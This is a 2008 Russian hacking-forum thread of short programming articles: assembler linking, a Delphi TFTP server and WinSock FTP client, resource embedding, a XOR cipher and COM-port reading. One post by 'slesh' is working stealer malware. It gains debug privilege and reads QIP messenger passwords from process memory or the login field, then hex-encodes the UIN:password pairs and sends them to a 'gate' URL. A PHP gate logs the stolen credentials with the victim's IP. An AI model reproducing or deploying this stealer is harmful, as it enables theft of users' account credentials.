Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   мини СТАТЬИ (https://forum.antichat.xyz/showthread.php?t=69514)

De-visible 06.05.2008 00:54

мини СТАТЬИ
 
--=Здесь размещаем статьи по данной тематике=--

***

Правила топика:

1)Обсуждения не здесь, не будем засорять тему...
2)Запрещено размещать чужие статьи,пишем свои...(В том числе изменять чужие, и размещать измененные)
3)Все исходные коды обязательно должны помещаться в теги [code.]...
4)Копировать сюда свои работы, уже опубликованные в разделе СТАТЬИ - запрещено...
5)Пишем все на русском языке(в том числе //комментарии)
6)Вся статья должна вмещаться в один пост...
7)Не забывайте, что главная тема:Безопасность WEB - интерфейсов(Информационна безопасность), статьи должны быть по этим темам...
8)Правила будут пополняться со временем...



И помните красивое оформление у нас только приветствуется


Статьи не соответствующие правилам будут удаляться...
Хорошие статьи будут поощряться(Каждому +)


(c) De-visible




============================




Все возникшие вопросы в ЛИЧКУ!

De-visible 06.05.2008 00:55

Карта статей:


1. Assembler. Создание программы путем объединения объектных модулей и библиотек
Автор:
Dober'man
2. FTP - сервер. "Мини статья" о том как создать простейший FTP-сервер (для новичков)
Автор:
Dober'man
3. RST киллер или все через "призму" WinPCap
Автор:
Delimiter
4. Получение *.RES файла. Добавление в него *.EXE, *.DLL файлов, с последующим извлечением на DELPHI 7.
Автор:
Dr.KoD
5. Assembler. Простейший алгоритм шифрования строк (для новичков)
Автор:
Dober'man
6. DELPHI. Пишем FTP клиент на Delphi с помощью WinSock API.
Автор:
Dr.KoD
7. Assembler Выдирание пароля из QIP
Автор:
slesh

Dober'man 07.05.2008 17:44

Assembler
Создание программы путем объединения объектных модулей и библиотек
by Doberman


с краткими пояснениями...
Код:

; модуль prog.asm (главный, именно он содержит метку START,
; с которой начнется выполнение программы )
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;-------------------------------------------------
; объявление внешней переменной и процедур
EXTERN  L:DWORD
EXTERN  PROC1@0:NEAR
EXTERN  PROC2@0:NEAR
EXTERN  PROC3@0NEAR
INCLUDELIB  MASM.LIB
; сегмент данных
DATA  SEGMENT
; здесь будут располагаться переменные
DATA  ENDS
; сегмент кода
DATA  SEGMENT
; здесь будет располагаться ассемблерный код проги
START:
MOV  L, 256
CALL  PROC1@0
PUSH  EAX
CALL  PROC2@0
PUSH  EAX
PUSH  EAX
CALL  PROC3@0
RET
TEXT  ENDS
END  START

; модуль prog1.asm
.586P
; плоская модель памяти
.MODEL  FLAT, STDCALL
PUBLIC  PROC1, L
;-----------------------------------------------
; сегмент данных
DATA  SEGMENT
; здесь будут располагаться переменные
L  DWORD  ?
DATA  ENDS
; сегмент кода
TEXT  SEGMENT
PROC1 PROC
            MOV EAX,L
            RET
PROC1 ENDP
TEXT  ENDS
END

; модуль prog2.asm
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;------------------------------------------------
; сегиент кода
TEXT  SEGMENT
PROC2 PROC
            PUSH EBP
            MOV EBP,ESP
            MOV EAX,DWORD PTR [EBP+8]
            ADD EAX,100
            MOV ESP,EBP
            POP EBP
            RET 4
PROC2 ENDP
TEXT ENDS
END

; модуль prog2.asm
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;-----------------------------------------------
PUBLIC PROC3
; сегмент кода
TEXT SEGMENT
PROC3 PROC
            PUSH EBP
            MOV EBP,ESP
            MOV EAX,DWORD PTR [EBP+8]
            ADD EAX,DWORD PTR [EBP+12]
            MOV ESP,EBP
            RET 8
PROC3 ENDP
TEXT ENDS
END

Для того чтобы из модулей получить программу, следует выполнить такие команды:
Код:

ML /m /coff prog.asm
- в результате будет создан объектный модуль prog.obj
Код:

ML /m /coff prog1.asm
- prog1.obj
Код:

ML /m /coff prog2.asm
- prog2.obj
Код:

ML /m /coff prog3.asm
- prog3.obj
Код:

LINK -LIB prog3.obj /out:masm.lib
- в результате будет создана объектная библиотека masm.lib
Код:

LINK /subsystem:console prog.obj prog1.obj prog2.obj
- в результате компоновки будет создан исполняемый модуль prog.exe

Модули prog1.asm и prog2.asm должны быть преобразованы к объектному виду, а потом скомпонованы в prog.obj. Модуль prog3.obj после преобразования его к объектному виду помещается в объектную библиотеку, которая затем используется при компоновке, благодаря директиве INCLUDEDIR в тексте prog.asm.

Dober'man 07.05.2008 23:08

FTP-сервер

"Мини статья" о том как создать простейший FTP-сервер
(для новичков)
by Doberman



Наш FTP-сервер будет работать по TFTP протоколу(TrivialFTP).

Первым делом разместим на форме компонент TIdTrivialFTPServer (со вкладки Indy Servers) хранящий в себе всю базовую функциональность FTP-сервера. Порт используемый протоколом TFTP по умолчанию, - 69. Свойство BufferSize определяет значение буфера.
Перевод FTP-сервера в активное состояние осуществляется в момент создания формы:
Код:

procedure TForm1.FormCreate(Sender: TObject);
begin
  IdTrivialFTPServer1.Active := true;
end;

При обращении к серверу с запросом о передаче или приеме файла генерируется сообщение OnReadFile или OnWriteFile. В обоих случаюх понадобится записать всего по одному оператору, присваивающему параметру этого обработчика AStream (тип TStream) соответствующее значение файлового потока. Такой поток либо открывается для чтения, либо этот файл создается на компе, а его содержимое принимается из сети:
Код:

procedure TForm1.IdTrivialFTPServer1ReadFile(Sender: TObject;
  var FileName: String; const PeerInfo: TPeerInfo;
  var GrantAccess: Boolean; var AStream: TStream;
  var FreeStreamOnComplete: Boolean);
begin
  AStream := TFileStream.Create(FileName, fmOpenRead);
end;

procedure TForm1.IdTrivialFTPServer1WriteFile(Sender: TObject;
  var FileName: String; const PeerInfo: TPeerInfo;
  var GrantAccess: Boolean; var AStream: TStream;
  var FreeStreamOnComplete: Boolean);
begin
  AStream := TFileStream.Create(FileName, fmCreate);
end;

В качестве FTP-клиента возьмем готовый пример из /Demos/Indy/TrivialFTPClient. В нем используем компонент TIdTrivialFTP, представляющий собой клиентскую FTP-программу.
Загрузка файла с сервера и передача его серверу происходит в результате нажатия кнопок btnDownload и btnUpload. Весь процесс приема и передачи файлов выполняется автоматически с помощью двух методов Get и Put компонента TIdTrivialFTP:
Код:

procedure Get(const ASourceFile: string; ADest: TStream);
procedure Put(const ASource: TStream; const ADestFile: string; const AAppend: Boolean);

ASourceFile - название файла, расположенного на удаленном FTP-сервере.
ADest - название локального файла.
AAppend - принимает true, если происходит запись в конец уже существующего файла.


Может кто-то и скажет, что таких в сети немерено (баян)....но я старался пояснить код когда писал его =)

Dr.KoD 09.05.2008 16:23

ПОЛУЧЕНИЕ *.RES ФАЙЛА, ДОБАВЛЕНИЕ В НЕГО *.EXE, *.DLL ФАЙЛОВ, С ПОСЛЕДУЮЩИМ ИЗВЕЛЕЧЕНИЕМ НА DELPHI 7.

Не судите строго это моя 1 статья и расчитана она на начинающих кодеров. Ну чтож начнем.

Для начала создайте папку и разместите в ней следующие файлы:
1. brcc32.exe (берем этот файл в этой папке D:\Program Files\Borland\Delphi7\Bin);
2. Создаем файл primer.rc, в котором мы укажем какие файлы мы будем добавлять в файл res;
3. Создаем compile.bat им мы будим собирать наш res файл;
4. Ну и естественно тот файл, который мы будем помещать в ресурсы,( у меня ResFile.exe).

Все с великим копи пастом мы закончили, теперь поработаем чуток клавой.
Для начала откроем файл primer.rc блокнотом и запишем в нем следующую строку:

"ResFile EXEFILE ResFile.exe"( без кавычек естесно).

Теперь объясню что тут к чему:
1. ResFile - это имя нашего ресурса в res файле, к которому мы будем обращаться и в котором хранится наш файл;
2. EXEFILE - тип файла(папка в файле *.res), он ни на что не влияет и служит для удобства поиска данных в фале ресурсов, чаще всего его имя соответствует типу находящихся в нем данных, но может быть и любым другим;
3. ResFile.exe - это файл, который мы добавляем в файл ресурсов.
Закрываем и сохраняем файл primer.rc.
Теперь откроем compile.bat(тож блокнотом) и пишем тауую строчку:

"brcc32 primer.rc"

Этой командой мы получим файл primer.res после запуска compile.bat.
Сохраняем и закрываем compile.bat, запустите, в папке вы должны увидеть primer.res.
Теперь переходим к кодингу, запускаем Delphi создаем новый проект и пишем следующий код:
Код:

implementation
{$R *.dfm}
{$R primer.RES} //наш файл с ресурсами

function ExtractResFile(ResType, ResName, ExeFileName:string): Boolean; // данная функция будет извлекать из primer.RES наш exe файл
var
  Res: TResourceStream; // переменная для доступа к ресурсам
begin
  Res := TResourceStream.Create(Hinstance, ResName, PChar(ResType)); // получаем доступ к ресурсам, загружаем
  try
    Res.SavetoFile(ExeFileName); // и сохраняем их в файл
    Result := True;
  finally
    Res.Free; // освобождаем
  end;
end;

Теперь кинем на форму Button1 и пишем в ней следующий код:
Код:

procedure TForm1.BitBtn1Click(Sender: TObject);
var
FileName:string; // переменная, в которой будет храниться имя конечного файла.
begin
FileName:='ResFile.exe';//имя файла
ExtractResFile('EXEFILE', 'ResFile', FileName ); //извлекаем файл ResFile.exe
end;

Для проведения таких же манипуляций с *.dll или с любым другим файлом, можно использовать этот же код, только в место ехе файла подставите свою dll.
Если вы захотите разместить несколько файлов в одном файле ресурсов, то для доступа к ним потребуется использовать разные TResourceStream, но это если вы захотите получить доступ к нескольким файлам ресурса в рамках одной процедуры или функции.

Dober'man 15.05.2008 22:59

Assembler
Простейший алгоритм шифрования строк (для новичков)
Тут же добавлю: усложняется знаниями асма (небольшими) и математики...

by Doberman

Немного теории...

Многие кодеры знают об уникальном свойстве реверсивности команды XOR:
если её выполнить дважды с одним и тем же операндом, то значение результата инвертируется.
А это значит, что мы можем воспользоваться свойством реверсивности операции
исключающего ИЛИ для выполнения простого шифрования данных.
В процессе шифрования исходная строка, введенная пользователем с клавиатуры,
преобразовывается в непонятный набор байтов с помощью другой строки, называемой ключом.
Зашифрованный текст можно сохранять или передавать адресату, не опасаясь, что кто-то сможет её прочитать.
Получив зашифрованный текст, авторизованный пользователь после дешифрования сможет прочесть первоначальный текст.
Ну с этим пока все просто... =)


Начнем...

Я приведу пример программы использующей метод симметричного шифрования,
т.е. для шифрования и расшифровки используется один и тот же ключ.


Опишу АЛГОРИТМ ПРОГРАММЫ:

* С клавиатуры вводится исходное сообщение.
* Программа в цикле выполняет шифрование каждого байта исходной строки.
___ с помощью одного и того же ключа, размером в один символ.
___ В результате получается зашифрованное. сообщение.
* Программа выполняет расшифровку сообщения и отображает расшифрованное.


Ну и собственно сама программа...

************************************************** *********************************************

Код:

TITLE  Программа шифрования      (Encrypt.asm)
Задаем значение ключа (от 1 до 255)
и максимальный размер буфера


Код:

INCLUDE Irvine32.inc
KEY = 239
BUFMAX = 128

Код:

.data
sPrompt    BYTE        "Введите исходное сообщение:  ",0
sEncrypt    BYTE        "Зашифрованный текст:  ",0
sDecrypt    BYTE        "Расшифрованный текст  ",0
buffer      BYTE          BUFMAX dup(0)
bufSize    DWORD    ?

- вводим исходную строку
- зашифровываем
- отображаем
- расшифровываем
- отображаем


Код:

.code
main PROC
  call  InputTheString
  call  TranslateBuffer

  mov  edx, OFFSET sEncrypt
  call  DisplayMessage

  call  TranslateBuffer

  mov  edx, OFFSET sDecrypt
  call  DisplayMessage
  exit
main ENDP

Код:

InputTheString PROC
- выводим приглашение на ввод строки с клавиатуры.
- сохраняем строку и ее длину в соответствующих переменных


Код:

pushad
mov  edx, OFFSET buffer
call  WriteString

mov  ecx, BUFMAN

mov  edx, OFFSET buffer
call  ReadString
mov  bufsize, eax
call  CrLf
popad
ret

InputTheString  ENDP

Код:

DisplayMessage PROC
- выводим на экран зашифр.- и расшифр.- ованную строки

Код:

pushad
call  WriteString
mov  edx, OFFSET buffer
call  WriteString
call  CrLf
call  CrLf
popad
ret

DisplayMessage ENDP

Код:

TranslateBuffer PROC
- преобразуем строку, выполнив операцию ИСКЛЮЧАЮЩЕГО ИЛИ каждого байта
с обним и тем же целым числом, т.е. ключом


Код:

pushad
mov  ecx, bufSize
mov  esi, 0

L1:
  xor  buffer[esi], KEY
  inc  esi

loop  L1
popad
ret

TranslateBuffer ENDP

END main

************************************************** *********************************************

Dr.KoD 23.05.2008 12:24

Пишем FTP клиент на Delphi с помощью WinSock API. Часть 1

Наконец то у меня дошли руки чтобы написать эту статью, вернее одну из ее частей( будет 2 или 3 части). Думаю данная тема будет интересна многим людям, т.к. информации о написании фтп клиента с использованием WinSock API практически нет(ну а если есть у кого какие ссылки по этому вопросу скиньте в личку), и когда начинающие кодеры задают вопрос на эту тему их практически всегда посылают читать протокол фтп(RFC 959) ну или советуют пользоваться WinInet или индейцами.
Свою статью я не на целиваю на новичков в программировании, вы должны знать хотябы основы WinSock API и иметь навыки программирования в Delphi.

Для начала я вам советую почитать о FTP протоколе, вот несколько сайтов где вы можете получить некоторую информацию:
http://book.itep.ru/4/45/ftp_454.htm
http://athena.vvsu.ru/docs/tcpip/rfc/rfc959.txt
http://sources.ru/protocols/ftp_learning.shtml
http://www.soslan.ru/tcp/tcp27.html

В 1 Части мы реализуем следующие функции нашего фтп клиента:
1. Создадим соединение с фтп сервером;
2. Напишем процедуру отправки команд FTP серверу;
3. Научимся получать ответы от него.

Ну чтож приступим:
Создайте новый роект, для удобства мы будем использовать VCL(он нам нужен будет для интерфейса), чтобы мы могли непосредственно заниматься написанием кода фтп клиента, а не заниматься еще и кодингом формы и остальной байды. В последствии вы сможете без труда перенести все функции в любое свое приложение.


Для начала после uses зададим константу:
Код:

const
    WM_MYSOCKMESS = WM_USER+1;

и объявим следующие переменные:

Код:

var
  Form1: TForm1;
    WSADt:TWSADATA;
    ClSocket:TSocket;//Сокет для соединения клиента с сервером
    ClAddr:sockaddr_in;//Структура sockaddr_in, которая содержит днные для соединения с фтп сервером(семейство протоколов, адрес, порт)
    TempSock:TSocket;//Сокет передачи данных

Для того чтобы нам работать с библиотекой WinSock нам ее нужно для начала инициализировать, для этого щелкаем по форме и пишем следующий код в событии OnCreate:

Код:

if WSAStartup(MAKEWORD(1,1), WSADt)<>0 then    //инициализируем WinSock
 begin
  ShowMessage('Ошибка иеициализации WinSock'); //Выводим сообщение если неудалось инициализировать WinSock и
  Application.Terminate;                      //Убиваем нашу прогу
 end;

Первое, что нам понадобиться это написать процедуру, которая будет отправлять команды ftp серверу, она будет востребована практически во всех функциях и процедурах отвечающих за прием и получение данных, а также выполнение каких либо действий на ftp сервере:

Код:

procedure TForm1.SendCommandFtpSrv(s: TSocket; command:string);      // s- сокет для отправки данных, command - команды фтп
var                                                            //сервера(о них более подробно вы можете прочитать в описании протокола фтп RFC 959)
 buff: array [0..1024] of Char;
begin
 command:=command+#13#10;      //Добавим к строке FTP команды символы конца строки и перевода каретки
 CopyMemory(@buff, pchar(command), length(command));      //Копируем в buff данные
 if send(s, buff, length(command),0)=SOCKET_ERROR then  //попытаемся отправить данные
 begin
  Exit;                                                      //и при неудаче выйдем
 end;
end;

Теперь мы перейдем к написанию процедуры с помощью, которой мы будем подключаться к ftp серверу, тут все просто до безобразия:

Код:

procedure TForm1.ConnectFTP(ftpsrv, port, usern, //ftpsrv - адрес сервера, port -порт,usern- логин,
  userp: string);                              //userps- пароль
begin

  ClSocket:=SOCKET(AF_INET, SOCK_STREAM, IPPROTO_IP); // создаем сокет
 if ClSocket=INVALID_SOCKET then                    //  При возникновении ошибки
 begin
  Exit;                                                  //  Выйдем из процедуры
 end;
 ClAddr.sin_family:=AF_INET; //Указываем протокол
 ClAddr.sin_addr.S_addr:=inet_addr(pchar(ftpsrv));//Указываем адрес удаленного сервера
 ClAddr.sin_port:=htons(StrToInt(port));//Указываем порт
 WSAAsyncSelect(ClSocket, handle, WM_MYSOCKMESS, FD_READ); // Переводим сокет в асинхронный режим. Устанавливаем наблюдение за прибытием данных(FD_READ)
 Connect(ClSocket, ClAddr, sizeof(ClAddr));    //устанавливаем соединение
 Sleep(100); // установим задержку
 SendCommandFtpSrv(ClSocket, 'USER '+usern);  //Отправим логин
 SendCommandFtpSrv(ClSocket, 'PASS '+userp); //отправим пароль
 SendCommandFtpSrv(ClSocket, 'FEAT');
end;

Для того, что бы нам быть в курсе как происходит "общение" с ftp сервером, т.е. получать ответы и выводить их на экран, это нам нужно прежде всего для того чтобы в случае неправильной команды или неправильного выполненного какого либо действия, мы могли видеть, что именно ненравится серверу и устранить проблему. Для этого напишем процедуру получения данных от сервера, разместим на форме RichEdit он нам понадобится для отображения ответов и перейдем к выполнению поставленной задачи:

Код:

procedure TForm1.RecvS(sock: TSocket);
var
  bsrv:array[0..5000] of char;// переменные для хранения данных
  strcl:string;                      //-----//-----
begin
 Fillchar(bsrv, sizeof(bsrv), 0);//Очищаем буфер
 if recv(sock, bsrv, sizeof(bsrv), 0)=SOCKET_ERROR then //Делаем попытку получить данные
 begin
  Exit;                                                        // если попытка неудачна, то выходим из процедуры
 end;
 strcl:=bsrv;              //Пришедщие в bsrv скопируем в strcl
 if pos('221', strcl)>0 then //Проверяем ответы пришедшие с сервера
 begin
  ShutDown(sock, SD_BOTH);  //Сообщим о прекращении соединения
  CloseSocket(sock);      //Закрываем сокет
 end;
{тут мы просто пишем код, который отображает полученные данные в RichEdit :) }
 while pos(#13, strcl)>0 do
 begin
  RichEdit1.Lines.Add(copy(strcl, 1, pos(#13, strcl)));
  Delete(strcl, 1, pos(#13, strcl)+1);
 end;
end;

Может показаться, что все уже готово, но если мы соберем в кучу весь код мы не увидим в RichEdit ничего,что свидетельствовало о том, что мы подключились к серверу, хотя мы к нему и подключились, но почему же тогда мы не видим приходящих ответов от сервера, для этих целей нам нужно написать процедуру перехватывающую сообщения WM_MYSOCKMESS, они появляются тогда, когда на определенном сокете возникают какие либо события:

Код:

procedure TForm1.MSGSocket(var Mess: TMessage);
begin
  case Mess.LParam of
    FD_ACCEPT:
    begin
      TempSock:=accept(Mess.WParam, nil, nil); //Для получения данных, мы переводим socket в асинхронный режим и устанавливаем
      WSAAsyncSelect(TempSock, handle, WM_MYSOCKMESS, FD_READ+FD_CLOSE);//наблюдение за событиями  и FD_CLOSE(когда мы отрубаемся от сервака)
    end;
    FD_READ:  RecvS(Mess.WParam); //Данные мы получим с помощью описанной выше процедуры RecvS
    FD_CLOSE: CloseSocket(Mess.WParam); //Закроем сокет при отключении клиента
  end;
end;

Переходим к завершающему этапу кодинга, разместим на форме 2 кнопкb и в событии OnClick:

в 1 кнопке пишем:

Код:

ConnectFTP('ххх.ххх.ххх.ххх','21','login','pass');
Во 2 кнопке:

Код:

SendCommandFtpSrv( ClSocket, 'QUIT'); //Эта команда говорит о завершении соединения клиента с сервером
Для того, чтобы не возникли лишние вопросы, расскажу как все это собрать. После слова private
перечислите названия всех используемых процедур(думаю все знают как это делать, ну а не знаете это уже ваши проблемы), которые мы написали, но даже после этого вы скажете, что код нефига не пашет, поэтому отвечу сразу на этот вопрос процедура MSGSocket после слова private будет иметь следующий вид:
Код:

procedure MSGSocket(var Mess: TMessage); message WM_MYSOCKMESS;
На сим 1 часть статьи о написании Ftp клиента я завершаю.

P.S. О чем я напишу во 2 и 3 частях:
Ну тут будет пожалуй самое интересное, такое как загрузка файлов на фтп сервер, скачивание файлов, переход по папкам, удаление файлов, кароче постепенно я постараюсь выложить достаточно приличный фтп клиент.

-------------------------
De-V: СТАТЬЯ В КОНКУРСЕ

slesh 28.05.2008 16:55

Выдирание пароля из Qip
 
Выдирание пароля из QIP
Методы:
1. Напрямую копирование из памяти
2. Чтение из поля ввода пароля

Алгоритм работы:
1. Нам необходимо получить привелегии отладчика чтобы 100% иметь доступ на чтение памяти другова процесса. Это реализуем следующим образом:
Код:

proc SetDBG
 push ebp
 mov ebp,esp ; сохраним значение стека
 sub esp,24h ; выделим место в стеке под переменные
 invoke OpenProcessToken, -1, 28h, esp
 test eax,eax
 jz @F
 lea eax, [esp+8]
 invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax ;
 test eax,eax
 jz @F
 mov dword [esp+14h],1
 mov eax, [esp+8]
 mov [esp+18h], eax
 mov eax, [esp+0Ch]
 mov [esp+1Ch], eax
 mov dword [esp+20h], 2
 lea eax, [esp+10h]
 push eax
 lea eax, [esp+18h]
 push eax
 push 10h
 lea eax, [esp+20h]
 push eax
 push 0
 mov eax, [esp+14h]
 push eax
 call [AdjustTokenPrivileges] ; установка привелегии
@@:
 leave
 ret
endp

2. Чтение пароля из памяти QIP
Код:

proc QIP_MEM
 invoke FindWindow,TMainForm,0 ; ищем окно QIP
QIP_MEM_next:
 test eax,eax
 mov [h],eax  ; сохраним handle
 jz QIP_MEM_exit
 invoke GetWindowText,eax,buf,20 ; считаем заголовок окна
 cmp dword [buf],'[qip' ; проверим правильность
 jne QIP_MEM_next1
 invoke GetWindowThreadProcessId,[h],PID ; получим PID процесса по handle окна
 stdcall AddToBuf,buf+8 ; добавим к посылаемому буферу часть заголовка окна, котоаря содержит UIN
 stdcall AddToBuf,dvoetochie ; разделитель
 stdcall GetPas,[PID] ; непосредственно получение пароля зная PID
 stdcall AddToBuf,buf ; закинем в буфер полученный пароль
 stdcall AddToBuf,tzap ; разделитель записей
QIP_MEM_next1:
 invoke GetWindow,[h],2 ; ищем следующее окно аськи. т.е. копий может быть много
 jmp QIP_MEM_next
QIP_MEM_exit:
 ret
endp

Теперь разберем непосредственно функцию чтения пароля из памяти:
Код:

proc GetPas,PID
 stdcall GetFileVer,[PID] ; для начала получаем версию файла
 xor ecx,ecx
 dec ecx
GetPas_m1:
 inc ecx
 cmp ecx,8
 je GetPas_exit
 cmp eax,[VER_MAS+ecx*4] ; сверяем версию файла с поддерживаемой версией
 jne GetPas_m1
; nтепер мы знаем offset по которому лежит пас.
 stdcall ReadData,[PID],[ADR_MAS+ecx*4]  читаем пас
GetPas_exit:
 ret
endp

Таблица соотношения версии файла и offseta:
VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h, 08000000h,08000100h,08000200h
ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch, 006972ECh,0069F580h,0069F57Ch

Для определения версии файла используем функцию:
Код:

proc GetFileVer,PID
 invoke CreateToolhelp32Snapshot,0000000Fh, [PID] ; получим инфу о модулях процесса аськи
 test eax,eax
 jz GetFileVer_exit
 mov [Handle],eax
 mov ebx,[MODULEENTRY32]
 mov dword [ebx],548
 invoke Module32First,eax,ebx ; получим имя первого модуля - это сам файл программы
 test eax,eax
 jz GetFileVer_exit
 invoke CloseHandle,[Handle] ж закрое дискриптор
 add ebx,288 ; смещение на имя файла
 invoke GetFileVersionInfoSize,ebx, Handle ; получаем размер записи отведенной под инфу о файле
 test eax,eax
 jz GetFileVer_exit
 mov [Size],eax
 invoke HeapAlloc,[myheap],0,eax
 mov [RezBuffer],eax
 invoke GetFileVersionInfo,ebx,Handle, [Size], eax ; получаем инфу о файле
 test eax,eax
 jz GetFileVer_exit
 invoke VerQueryValue,[RezBuffer], slash,  FixedFileInfoBuf, Size ; получаем версию файла
 test eax,eax
 jz GetFileVer_exit
;  конвертируем значения в удобный  для нас вид
 mov ebx,[FixedFileInfoBuf]
 mov eax,[ebx+8]
 shr eax,16
 mov byte [Size+3],al
 mov eax,[ebx+8]
 mov byte [Size+2],al
 mov eax,[ebx+12]
 shr eax,16
 mov byte [Size+1],al
 mov eax,[ebx+12]
 mov byte [Size],al
 mov eax,[Size]
GetFileVer_exit:
 ret
endp

Чтение осуществим следующим образом:
Код:

proc ReadData PID,ADR
 invoke OpenProcess,0410h, 0, [PID] ; откроем процесс
 test eax,eax
 jz ReadData_exit
 mov [hp],eax
 invoke ReadProcessMemory,eax, [ADR], Size, 4, [t] ; считаем offset на пас
 invoke ReadProcessMemory,[hp], [Size], buf, 10, [t] ; считаем пасс
 invoke CloseHandle,[hp]
ReadData_exit:
 ret
endp

3. Чтение пароля из поля ввода
Код:

proc QIP_WND
 invoke FindWindow,TManForm,0 ; найдем окно
cicle2:
 test eax,eax
 jz QIP_WND_exit
 push eax
 stdcall QIP_WND_GETPASS,eax ; считаем из него пасс
 pop eax
 invoke GetWindow,eax,2 ; ищем следующее окно
 jmp cicle2
QIP_WND_exit:
 ret
endp

Непосредственно процедуру чтения оформим так:
Код:

proc QIP_WND_GETPASS,hManForm
 invoke FindWindowEx,[hManForm],0,TGroupBox,0 ; найдем handle TGroupBox этого окна
 test eax,eax
 jz QIP_WND_GETPASS_exit
 push eax
 invoke FindWindowEx,eax,0,TComboBox,0 ; в нем найдем cписок  UIN
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 10, buf ; считаем UIN
 xor ecx,ecx
cicle: ; отделяем UIN от лишнего текста
 cmp ecx,20
 je nextt
 inc ecx
 cmp byte [buf+ecx],' '
 jne cicle
 mov byte [buf+ecx],0
nextt:
 stdcall AddToBuf,buf ; добавим UIN в отправляемому буферу
 pop eax
 invoke FindWindowEx,eax,0,TEdit,0 ; теперь найдем поле ввода пароля
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 20, buf ; считаем пароль из него
 stdcall AddToBuf,dvoetochie ; разделитель UIN:PASS
 stdcall AddToBuf,buf ; добавим к буферу
 stdcall AddToBuf,tzap ; конец записи
QIP_WND_GETPASS_exit:
 ret
endp

4. Теперь необходимо отправить всю полученную информацию
Код:

invoke lstrlen,[buffer] ; получим длинну наших данных
 test eax,eax
 jnz dalee
 invoke ExitProcess,0 ; если ничего не на собирали то и отправлять не нужно
dalee: ; для удобства отправки переведем полученный буфер в HEX
 mov [Size],eax ; размер буфера
 shl eax,2 ;  умножим на 2. т.к. данных станет в 2 раза больше
 invoke HeapAlloc,[myheap],0,eax ; выделим память
 invoke lstrcpy,eax,url_start ;закинем в буфер адрес нашего гейта
 dec edx
 xor ecx,ecx
cicle4: ; преборазование в HEX
 mov eax,[buffer]
 mov ah,[eax+ecx]
 mov al,ah
 shr ah,4
 and al,0fh
 mov ebx,table
 xlatb
 xchg ah,al
 xlatb
 mov word [edx+ecx*2],ax
 inc ecx
 cmp ecx,[Size]
 jne cicle4
 mov byte [edx+ecx*2],0
 sub edx,url_end-url_start ; вернемся к началу буфера
 invoke URLDownloadToFile,0,edx,TEdit,0,0 ; сделаем запрос на скачевание файла в котором передадим собранные данные.
 invoke ExitProcess,0

Функцию добавления в буфер используем для уменьшения размера и вообще для удобства
Код:

proc AddToBuf,add_buf
 invoke lstrcat,[buffer],[add_buf]
 ret
endp

Данные которые нам понадобятся для осуществления всех операций
Код:

table db '0123456789ABCDEF' ; для конвертирования в HEX
 SeDebugPrivilege db 'SeDebugPrivilege',0 ; для получения привелегий отладчика
 slash db '\',0
 dvoetochie db ':',0 ; разделитель UIN - PASS
 tzap db '[-]',0 ; конц пары UIN:PASS
; название компонентов
 TGroupBox db 'TGroupBox',0
 TComboBox db 'TComboBox',0
 TManForm db 'TManForm',0
 TMainForm db 'TMainForm',0
 TmainFrm db 'TmainFrm',0
 TEdit db 'TEdit',0
 TprefFrm db 'TprefFrm',0
 TPanel db 'TPanel',0
 TconnectionFr db 'TconnectionFr',0
 url_start db 'http://127.0.0.1/stat.php?data=' ; адрес гейта
 url_end db 0

5. Непосредственно сам гейт
Код:

<?
$data=$_GET['data']; // наши данные
$out='';
$f=fopen('ICQ.txt','a+'); // файл куда будем кидать
while ($x<strlen($data)) // конвертим из HEX в нормальный вид
{
$temp=$data[$x].$data[$x+1];
$out.=chr(HexDec($temp));
$x+=2;
}
fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n"); // запишем в файл полученный результат.
fclose($f);
?>

Полный исходный код + поддержка &RC берем от сюда
http://forum.antichat.ru/thread71678.html

-------------------------
De-V: СТАТЬЯ В КОНКУРСЕ

dos999 02.07.2008 19:22

Читаем COM-порт в 1C с помощью Delphi .Net
Привет всем обитателям сего сайта =) давнеько я уже ничего не писал, вот наконец выдалось свободное время.
В настоящее время широкое изобилее языков программирования и сред разработки просто пугает, и прогер решает чем пользоваться чтоб выполнить ту или иную задачу.
но бывает что возникают ситуёвины когда функциональности языка нехватает для решения задачи, ну не начинать же всё заново в другой среде О_о?
была у мня как то роботёнка: нужно было написать сервис который бы читал память внешнего устройства (подключеного черз COM), и писал данные в БД Access (всё прошло на ура).
Через пол года заказчик обратился ко мне с просьбой переделать сервис так чтобы писал он полученные данные не в Access а в таблицы 1С.
Тут то я и грузанулся как в 1С читать Com порт О_о (сервис я писал на Delphi)? Первое что пришло в голову сделать DLL в которой бы были функции для работы с девайсом, но потом появилась идея лучше На помощь пришла технологи .NET, а именно Web-сервисы созданные на платформа Net.
всё ремя пользовался Delphi 7, но тут никуда не денишся пришлось иди в ногу со временем, вощем установил я себе Borland Developer Studio 2006 (BDS) и в перёд.

Код до его модернизации выглядел приблизительно так:
Код:


type
  TRec = record //объекты этого типа нам необходимо будет передават потом в 1С
    DT: TDateTime; //время события
    ch1: integer;        //два свойства события...
    ch2: integer;       
  end;

  function GetData(Sector: integer): TRec;

var
  FBuf: array [0..7] of byte;
  FHandle: DWord;
  FCount: cardinal;
  FOverlapped: TOverlapped;

....

procedure WriteGetData(SectorNo: word);//отправка команды устройству
begin       
  FBuf[0] := $01; // команда для чиения данных
  FBuf[1] := SectorNo;// в каестве параметра передаём номер сектора
  Windows.WriteFile(FHandle, Fbuf, 2, FCount, @FOverlapped); // отправляем команду на ком порт
end;

finction ReadGetData: TRec; //чтение результата с устройства в масив FBuf
var
  y, m, d, h, m, s: word;
begin
  Windows.ReadFile(FHandle, Fbuf, 8, FCount, @FOverlapped); //читаем ответ устройства
  y := Fbuf[0];
  m := Fbuf[1];
  d := Fbuf[2];
  h := Fbuf[3];
  m := Fbuf[4];
  s := Fbuf[5];
  result.DT := EncodeDateTime(y, m, d, h, m, s, 0); //возвращаем результат в удобном, красивом виде
  result.ch1 := Fbuf[6];
  result.ch2 := Fbuf[7];
end;

